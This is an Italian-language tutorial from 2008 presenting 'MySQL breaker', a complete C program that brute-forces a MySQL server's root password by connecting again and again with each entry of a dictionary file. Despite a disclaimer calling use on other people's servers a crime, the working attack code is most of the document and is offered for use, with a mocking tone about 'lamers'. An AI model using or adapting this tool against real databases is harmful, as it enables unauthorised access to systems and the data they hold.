

# MySQL breaker

**DISCLAIMER:** Applicare su un server diverso dal proprio quanto descritto in questo tutorial è un reato, quindi vi conviene non farlo, anche perchè ci metterebbero non più di 10 minuti per scoprire le vostre gesta... in ogni caso, anche se la vostra testolina da lamer vi consiglia di provare questo programma da qualche parte che non è il vostro server, non mi assumo nessuna responsabilità di quanto farete...

## Prerequisiti:

- avere un sistema \*NIX installato sul vostro computer
- conoscenza del C
- sapere come lavora il C con il MySQL

Anche se non avete l'ultimo requisito, potete comunque leggere, visto che potete comunque comprendere come lavora il programma, ma se non sapete come lavora il C, allora quanto troverete qui sotto sarà come l'arabo...

## Cosa deve fare il nostro programma:

In poche parole dobbiamo ottenere la password dell'utente root di un database, per fare cio dobbiamo connetterci ripetutamente al server provando ogni volta una parola diversa come password.

Il metodo con cui cercheremo di trovare la password è un'attacco dizionario, quindi cercatene uno buono...

Ok, vediamo il programma come lavora

```
/*
MySQL breaker
Copyright (C) 2008 darkjoker
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version. This program is distributed in the
hope that it will be useful, but WITHOUT ANY WARRANTY; without even the
implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details. You should have
received a copy of the GNU General Public License along with this program.
If not, see http://www.gnu.org/licenses/
*/
//includo le librerie necessarie
#include <stdio.h>
#include <mysql/mysql.h>
#include <stdlib.h>
#define HOST "localhost" //inserite qui l'host al quale database volete accedere
#define USER "root" //inserite qui il nome utente da cui volete accedere
main (){
printf ( "-----\n");
printf ( " MySQL brekaer      \n");
printf ( " Author: darkjoker \n");
printf ( "-----\n");
printf ( "Ricerca del file dizionario in corso...\n");
// il file dizionario che dovrete usare dovrà chiamarsi "dizionario.txt" e trovarsi nella
// directory in cui si trova lo script, altrimenti il programma non eseguirà la connessione
FILE *diz;
char pass[15];
diz = fopen ( "dizionario.txt", "r");
if (diz == NULL){
//se non riesco ad aprire il file dizionario, esco
printf ( "Errore durante l'apertura del file \"dizionario.txt\".\n");
exit(1);
}
printf ( "File dizionario trovato.\n");
MYSQL database;
if (!mysql_init(&database)){
//non siamo riusciti a connetterci al database...
printf ( "Impossibile connettersi al database\n");
exit(1);
}
printf ( "Il programma sta lavorando...\n\n");
while (!feof (diz)){
fgets (pass, sizeof (pass), diz);
pass[strlen(pass)-1]=0;
if (!mysql_real_connect(&database, HOST, USER, pass, NULL, 0, NULL, 0)){
//password non corretta, riproviamo con quella dopo
}
else{
//password trovata
//Riferiamola all'utente
printf ( "Password trovata:\n %s\n", pass);
//ed esco dal programma
exit (1);
}
}
//nel file dizionario non c'era la password...
printf ( "Password non trovata.\n");
}
```

Bene, all'inizio c'è solo un po' di scena, ma poi comincia il programma vero e proprio:

1. Il programma cerca il file "dizionario.txt"
2. Se lo trova, allora comincia a connettersi al database, usando ogni volta una riga del file dizionario diversa.
3. Se il programma trova la password, la comunica all'utente, altrimenti esce.

Il programma è molto facile da comprendere, se avete già una conoscenza più o meno approfondita del C.

Diciamo che bisogna solo sapere come leggere dei dati da un file dizionario e come poter connettersi ad un database...

Beh, non dico che tutti ne siano capaci, ma una veloce lettura di una guida un po' buona di C e ste cose le sa già benissimo...

Il programma è molto essenziale: il nome dell'host e il nome utente devono essere definiti prima della compilazione, come d'altronde il nome del file dizionario, e il programma effettua solo un'attacco dizionario, senza tentare tutte le combinazioni possibili di lettere, simboli e numeri.

Tutto questo non perché io non ne sia capace, ci mancherebbe altro, ma perché tanto questo programma non dovete usarlo per fare cazzate, ma se qualcuno non riesce a resistere se non vede il programma completato, allora potrei anche mettermi lì e, con calma, finirlo...

#### Ringraziamenti:

Vorrei solo ringraziare BlackLight, che si è offerto (più o meno, sono andato io a chiederglielo... :D) per provare il programma, e inoltre ha corretto un problemino durante la lettura delle password...

Lo ringrazio inoltre per le guide che ha scritto riguardanti al C, che mi hanno insegnato la stragrande maggioranza di quanto ne so...